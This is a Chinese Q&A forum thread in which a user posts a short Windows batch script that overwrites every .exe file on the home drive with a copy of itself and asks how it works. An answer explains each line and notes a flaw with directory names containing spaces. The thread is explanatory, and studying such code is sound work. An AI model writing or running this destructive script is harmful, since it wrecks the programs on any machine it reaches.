我确实知道下面的命令用于感染可执行文件。但我不知道它们的具体工作原理。有人能给我解释一下吗?
@echo off
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul
Copy /y %0 %ExeInfect%
)
)
Del /f /s /q DirPath
答案1
@echo off
禁用回显批处理命令。
Dir %Homedrive% /s /b > DirPath
逐行(开关)列出主驱动器中的所有文件和目录(通常C:
),/b
包括子目录(/s
开关),并将结果存储在文件中DirPath
。
For /f %%Y In (DirPath) Do ( ... )
横向执行DirPath
并执行...
每个项目。%%Y
将包含该行的第一个项目。
Set DirPath=%%Y > Nul
将该行的第一项存储在变量中DirPath
。
For %%Z In (%DirPath%\*.exe) Do ( ... )
横跨.exe
变量中存储的目录中的所有文件DirPath
。%%Z
将包含可执行文件的名称。
Set ExeInfect=%%Z > Nul
将可执行文件的名称存储在变量中ExeInfect
。
Copy /y %0 %ExeInfect%
不提示(/y
切换)将当前可执行文件(即批处理文件)复制到存储在中的可执行文件上ExeInfect
。
结果,所有可执行文件都被批处理文件替换。
For
嗯,几乎全部。如果目录名称包含空格,第一个命令将表现不正确...